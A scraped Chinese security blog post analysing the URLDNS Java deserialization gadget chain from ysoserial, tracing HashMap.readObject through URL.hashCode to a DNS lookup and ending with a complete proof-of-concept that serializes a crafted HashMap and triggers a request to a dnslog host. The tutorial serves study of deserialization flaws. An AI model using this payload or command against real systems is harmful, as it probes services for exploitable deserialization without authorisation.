首页 > 编程语言 >javasec(五)URLDNS反序列化分析

javasec(五)URLDNS反序列化分析

时间:2023-04-19 18:01:41浏览次数:54  
标签:HashMap URL hashCode javasec URLDNS new 序列化

这篇文章介绍

URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。ysoserial 打包成jar命令 mvn clean package -DskipTests,刚刚入门所以用这条链作为学习反序列化的开始。

URLDNS 反序列化分析

URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用

这条链的入口类是java.util.HashMap ,入口类的条件上篇文章写在了最后,这里在提一嘴:

实现Serializable接口;

重写readObject方法,调用一个常见的函数;

接收参数类型宽泛;

最好JDK自带;

HashMap

首先看一下HashMap,这个类实现了Serializable接口
img
重写了readObject方法,重写方法因为HashMap<K,V>存储数据采用的哈希表结构,元素的存取顺序不能保证一致。由于要保证键的唯一、不重复,在反序列化过程中就需要对Key进行hash,这样一来就需要重写readObject方法。
imgimgputVal()就是哈希表结构存储函数,这个不是关键,关键是它调用了hash函数,根据key产生hash。

跟进hash()函数,可以看到,这里使用传入参数对象key的hashCode方法。

img

很多类中都具有hashCode方法(用来进行哈希),所以接下来考虑有没有可能存在某个特殊的类M,其hashCode方法中直接或间接可调用执行危险函数。这条URLDNS链中使用的执行类就是URL类。看URL类之前,还需要确定一下HashMap在readObject过程中能够正常执行到putVal()方法这里,以及传入hash方法中的参数对象keys是可控的。

首先可以看到,参数对象Key由s.readObject()获取,s是输入的序列化流,证明key是可控的。只要mappings的长度大于0,也就是序列化流不为空就满足利用条件。
img

URL

入口类HashMap已经分析完成,具备了利用条件,具体在分析一下URL类的hashCode方法。
img

可以看到当hashCode属性的值为-1时,跳过if条件,执行handler对象的hashCode方法,并将自身URL类的实例作为参数传入。

handler是URLStreamHandler的实例,跟进handler的hashCode方法(URLStreamHandler.java),接收URL类的实例,调⽤getHostAddress⽅法

img

继续跟进getHostAddress⽅法,getHostAddress方法中会获取传入的URL对象的IP,也就是会进行DNS请求。
img
这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次DNS查询。

整个 URLDNS 的Gadget Chain就清晰了:

1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()

URLDNS 序列化过程分析

程序入口在ysoserial.GeneratePayload,打开GeneratePayload.java,找到main方法,代码如下:

public static void main(final String[] args) {
		if (args.length != 2) {
			printUsage();
			System.exit(USAGE_CODE);
		}
    //用打包出来的jar,生成序列化的文件时,ysoserial获取外面传入的参数,并赋值给对应的变量。
		final String payloadType = args[0]; // URLDNS
		final String command = args[1]; //http://64hu68.dnslog.cn
		//接着执行Utils.getPayloadClass("URLDNS");,根据全限定类名ysoserial.payloads.URLDNS,获取对应的Class类对象。
		final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
		if (payloadClass == null) {
			System.err.println("Invalid payload type '" + payloadType + "'");
			printUsage();
			System.exit(USAGE_CODE);
			return; // make null analysis happy
		}
		
		try {
      //通过反射创建Class类对应的对象,URLDNS对象创建完成。
			final ObjectPayload payload = payloadClass.newInstance();
      //然后执行执行URLDNS对象中的getObject方法
			final Object object = payload.getObject(command);
			PrintStream out = System.out;
			Serializer.serialize(object, out);
			ObjectPayload.Utils.releasePayload(payload, object);
		} catch (Throwable e) {
			System.err.println("Error while generating or serializing payload");
			e.printStackTrace();
			System.exit(INTERNAL_ERROR_CODE);
		}
		System.exit(0);
	}

URLDNS类getObject方法

public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
  							//创建了URLStreamHandler对象
                URLStreamHandler handler = new SilentURLStreamHandler();
								//创建了HashMap对象
                HashMap ht = new HashMap(); // HashMap that will contain the URL
  							//URL对象 url=http://64hu68.dnslog.cn
                URL u = new URL(null, url, handler); // URL to use as the Key
  							//将URL对象作为HashMap中的key,dnslog地址为值,存入HashMap中。
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
								//通过反射机制 设置URL对象的成员变量hashCode值为-1
                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
								//将HashMap对象返回
                return ht;
}

接着对HashMap对象进行序列化操作Serializer.serialize(object, out);并将序列化的结果重定向到dnslog1.ser文件中

实验验证

序列化过程:用打包出来的jar,生成序列化的文件。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://64hu68.dnslog.cn" > dnslog1.ser

之后在ysoserial-0.0.6-SNAPSHOT-all.jar同目录下就有生成的dnslog1.ser序列化文件。
反序列化过程:写一个测试类反序列化写入上面序列化的文件。

package ysoserial;

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class Test {

    public static void main(String[] args) throws Exception {
        ObjectInputStream os = new ObjectInputStream(new FileInputStream("target/dnslog1.ser"));
        os.readObject();
        System.out.println("OK");
    }
}

img
查看dns平台,反序列化直接请求到dnslog平台上
img

跟一下反序列化过程,设置断点,调试。

img

HashMap获取了key和value,调用了hash方法

img

跟进去,发现调用了key.hashCode方法

img

继续跟来到了URL类的hashCode方法因为传的key是URL类,hashCode的值为-1

img

进入了handler.hashCode方法

img

进入了hashCode.getHostAddress,使用InetAddress.getByName(host);,发送DNSLOG请求。

img

POC构造

根据分析,触发的关键是HashMap的put方法,故下面的代码是必须的

HashMap ht = new HashMap();
ht.put(url,"RRR");

因为ht.put需要传入URL的实例,new一个,因为URL是可序列化的,不用反射获取

URL url = new URL("http://64hu68.dnslog.cn");

根据上面的分析,必须要将这个URL 实例中的,hashCode的值变为-1,通过反射获取变量更改

Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, -1);

综上,组合起来完整的poc

package ysoserial;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Test {
    public static void main(String[] args) throws Exception{
        URL url = new URL("http://64hu68.dnslog.cn");
        HashMap ht = new HashMap();
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, -1); //防止put就先进行解析DNS
        ht.put(url,"RRR");


        //序列化写文件
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(ht);
        //反序列化触发payload
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();

    }

}

ysoserial为了防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询,所以重写了⼀个SilentURLStreamHandler 类,这不是必须的。

标签:HashMap,URL,hashCode,javasec,URLDNS,new,序列化
From: https://www.cnblogs.com/uf9n1x/p/17334124.html

相关文章

  • python反序列化
    这篇文章介绍python反序列化。0X00前言本篇文章搬运大佬k0rz3n的研究文章,写的特别好,存下来学习一下。0X01Python的序列化和反序列化是什么Python的序列化和反序列化是将一个类对象向字节流转化从而进行存储和传输,然后使用的时候再将字节流转化回原始的对象的一个过程。1.......
  • javasec(六)RMI
    这篇文章介绍java-RMI远程方法调用机制。RMI全称是RemoteMethodInvocation,远程⽅法调⽤。是让某个Java虚拟机上的对象调⽤另⼀个Java虚拟机中对象上的⽅法,只不过RMI是Java独有的⼀种RPC方法。看这篇之前可以先去看看RPC:https://www.bilibili.com/video/BV1zE41147Zq?from=searc......
  • 序列化
          内存中的数据对象只有转换为二进制流才可以进行数据持久化和网络传输。将数据对象转换为二进制流的过程成为对象的序列化(Serialization)。反之,将二进制流恢复为数据对象的过程称为反序列化(Deserialization)。序列化需要保留充分的信息以恢复数据对象,但是为了节约存......
  • java反序列化(四) RMI反序列化
    RMIRMI(RemoteMethodInvocation),为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。注册中心是一个特殊的服务端,一般与服务端在同一主机上......
  • 反序列化漏洞
    (176条消息)反序列化漏洞详解_一句话木马的博客-CSDN博客1、定义序列化是将对象转换为字符串以便存储传输的一种方式。而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用。在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。当程......
  • fastjson 1.2.24 反序列化漏洞(审计分析)
    环境JDK8u181Fastjson1.2.24POC跟进parse方法跟进到底层deserialze方法Poc中传入的dataSourceName:ldap://192.168.3.229:8084/vnSYPYwMs值这里实际对应setDataSourceName方法,调用此方法并传入ldap跟进setDataSourceName方法,这里只是简单赋值 步出......
  • java.io.Serializable(序列化)接口
     一、概念Java对象序列化的意思就是将对象的状态转化成字节流,以后可以通过这些值再生成相同状态的对象。对象序列化是对象持久化的一种实现方法,它是将对象的属性和方法转化为一种序列化的形式用于存储和传输。反序列化就是根据这些保存的信息重建对象的过程。序......
  • C# Json序列化,设置驼峰命名(字段首字母小写)
    相关代码:varserializerSettings=newJsonSerializerSettings{//设置为驼峰命名ContractResolver=newCamelCasePropertyNamesContractResolver()};varresult=JsonConvert.Ser......
  • (四)多进程的序列化
    给出cloudpickle的GitHub地址:https://github.com/cloudpipe/cloudpickle     =======================================================   单机的Python序列化模块有自带的pickle,但是在Python的分布式计算中进行序列化则是使用cloudpickle。之所以在分布式计......
  • (三)python多进程multiprocessing模块的变量传递问题:父进程中的numpy.array对象隐式序列
    参考:https://docs.python.org/zh-cn/3/library/multiprocessing.htmlcloudpickle——Python分布式序列化的专用模块python多进程multiprocessing模块的变量传递问题:父进程中的numpy.array对象隐式序列化到子进程后的inplace操作的问题-Death_Knight-博客园(cnblogs.com)......